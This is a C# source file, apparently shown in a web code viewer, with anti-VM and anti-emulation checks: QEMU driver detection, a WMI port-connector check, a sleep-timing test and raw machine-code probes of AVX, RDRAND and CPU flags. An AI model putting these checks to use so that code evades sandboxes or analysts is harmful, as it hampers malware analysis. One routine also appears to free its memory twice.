/// <summary>
|
||||
/// Checks if the environment is running in QEMU.
|
||||
/// </summary>
|
||||
/// <returns>True if QEMU is detected, otherwise false.</returns>
|
||||
public static bool CheckForQemu()
|
||||
{
|
||||
string[] BadDriversList = { "qemu-ga", "qemuwmi" };
|
||||
foreach (string Drivers in Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.System), "*"))
|
||||
{
|
||||
foreach (string BadDrivers in BadDriversList)
|
||||
{
|
||||
if (Utils.Contains(Drivers, BadDrivers))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public sealed class Generic
|
||||
{
|
||||
/// <summary>
|
||||
/// Checks for VM-related ports on the system.
|
||||
/// </summary>
|
||||
/// <returns>True if no port connectors are found, indicating a possible VM environment, otherwise false.</returns>
|
||||
public static bool PortConnectionAntiVM()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (new ManagementObjectSearcher("SELECT * FROM Win32_PortConnector").Get().Count == 0)
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
// WMI not available, assume ports exist
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if the environment is running in an emulation by measuring the sleep interval.
|
||||
/// </summary>
|
||||
/// <returns>True if emulation is detected, otherwise false.</returns>
|
||||
public static bool EmulationTimingCheck()
|
||||
{
|
||||
long Tick = Environment.TickCount;
|
||||
Thread.Sleep(500);
|
||||
long Tick2 = Environment.TickCount;
|
||||
if (((Tick2 - Tick) < 500L))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if the AVX instructions is properly implemented and handled.
|
||||
/// </summary>
|
||||
/// <returns>true if the instructions is not handled correctly, otherwise false.</returns>
|
||||
public static bool AVXInstructions()
|
||||
{
|
||||
try
|
||||
{
|
||||
bool ResultBool = false;
|
||||
byte[] Code = new byte[80];
|
||||
if (IntPtr.Size == 8)
|
||||
Code = new byte[] { 0x66, 0x0f, 0x5b, 0xe4, 0x75, 0x31, 0x74, 0x00, 0x66, 0x0f, 0x5b, 0xed, 0x75, 0x29, 0x74, 0x00, 0x0f, 0x28, 0xf0, 0x66, 0x0f, 0x70, 0xf1, 0xd8, 0x0f, 0x28, 0xfe, 0x66, 0x0f, 0x5b, 0xff, 0x75, 0x16, 0x74, 0x00, 0x0f, 0x57, 0xc0, 0x44, 0x0f, 0x28, 0xc0, 0x66, 0x45, 0x0f, 0x5b, 0xc0, 0x75, 0x06, 0x74, 0x00, 0x48, 0x31, 0xc0, 0xc3, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0xc3 };
|
||||
else
|
||||
Code = new byte[] { 0x66, 0x0f, 0x5b, 0xe4, 0x66, 0x0f, 0x7e, 0xe0, 0x74, 0x00, 0x66, 0x0f, 0x5b, 0xed, 0x66, 0x0f, 0x7e, 0xeb, 0x74, 0x00, 0x0f, 0x28, 0xf0, 0x66, 0x0f, 0x70, 0xf1, 0xd8, 0x0f, 0x28, 0xfe, 0x66, 0x0f, 0x5b, 0xff, 0x66, 0x0f, 0x7e, 0xf9, 0x74, 0x00, 0x0f, 0x57, 0xc0, 0x75, 0x05, 0x74, 0x00, 0x31, 0xc0, 0xc3, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xc3 };
|
||||
IntPtr Allocated = Utils.AllocateCode(Code);
|
||||
if (Allocated != IntPtr.Zero)
|
||||
{
|
||||
try
|
||||
{
|
||||
GenericInt Execute = (GenericInt)Marshal.GetDelegateForFunctionPointer(Allocated, typeof(GenericInt));
|
||||
int Result = Execute();
|
||||
if (Result == 1)
|
||||
{
|
||||
Utils.FreeCode(Allocated);
|
||||
ResultBool = true;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
Utils.FreeCode(Allocated);
|
||||
return false;
|
||||
}
|
||||
Utils.FreeCode(Allocated);
|
||||
return ResultBool;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if the RDRAND instruction is properly implemented.
|
||||
/// </summary>
|
||||
/// <returns>true if the instruction is implemented correctly, otherwise false.</returns>
|
||||
public static bool RDRANDInstruction()
|
||||
{
|
||||
try
|
||||
{
|
||||
bool ResultBool = false;
|
||||
byte[] Code = new byte[80];
|
||||
if (IntPtr.Size == 8)
|
||||
Code = new byte[] { 0x48, 0x0F, 0xC7, 0xF0, 0x48, 0x89, 0xC3, 0x48, 0x83, 0xFB, 0x00, 0x74, 0x0F, 0x48, 0x0F, 0xC7, 0xF0, 0x48, 0x89, 0xC2, 0x48, 0x39, 0xDA, 0x74, 0x03, 0xB0, 0x00, 0xC3, 0xB0, 0x01, 0xC3 };
|
||||
else
|
||||
Code = new byte[] { 0x0F, 0xC7, 0xF0, 0x89, 0xC3, 0x83, 0xFB, 0x00, 0x74, 0x0C, 0x0F, 0xC7, 0xF0, 0x89, 0xC2, 0x39, 0xDA, 0x74, 0x03, 0xB0, 0x00, 0xC3, 0xB0, 0x01, 0xC3 };
|
||||
IntPtr Allocated = Utils.AllocateCode(Code);
|
||||
if (Allocated != IntPtr.Zero)
|
||||
{
|
||||
try
|
||||
{
|
||||
GenericInt Execute = (GenericInt)Marshal.GetDelegateForFunctionPointer(Allocated, typeof(GenericInt));
|
||||
int Result = Execute();
|
||||
if (Result == 1)
|
||||
{
|
||||
ResultBool = true;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
Utils.FreeCode(Allocated);
|
||||
return false;
|
||||
}
|
||||
Utils.FreeCode(Allocated);
|
||||
return ResultBool;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if the instructions that control the register flags is properly handling the register.
|
||||
/// </summary>
|
||||
/// <returns>true if everything is going correctly, otherwise false.</returns>
|
||||
public static bool FlagsManipulationInstructions()
|
||||
{
|
||||
try
|
||||
{
|
||||
bool ResultBool = false;
|
||||
byte[] Code = new byte[80];
|
||||
if (IntPtr.Size == 8)
|
||||
Code = new byte[] { 0x9C, 0x58, 0x48, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x50, 0x9D, 0x9C, 0x58, 0x48, 0xA9, 0x00, 0x02, 0x00, 0x00, 0x74, 0x08, 0x48, 0xC7, 0xC0, 0x00, 0x00, 0x00, 0x00, 0xC3, 0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, 0xC3 };
|
||||
else
|
||||
Code = new byte[] { 0x9C, 0x58, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x50, 0x9D, 0x9C, 0x58, 0xA9, 0x00, 0x02, 0x00, 0x00, 0x74, 0x06, 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 };
|
||||
IntPtr Allocated = Utils.AllocateCode(Code);
|
||||
if (Allocated != IntPtr.Zero)
|
||||
{
|
||||
try
|
||||
{
|
||||
GenericInt Execute = (GenericInt)Marshal.GetDelegateForFunctionPointer(Allocated, typeof(GenericInt));
|
||||
int Result = Execute();
|
||||
if (Result == 1)
|
||||
{
|
||||
ResultBool = true;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
Utils.FreeCode(Allocated);
|
||||
return false;
|
||||
}
|
||||
Utils.FreeCode(Allocated);
|
||||
return ResultBool;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user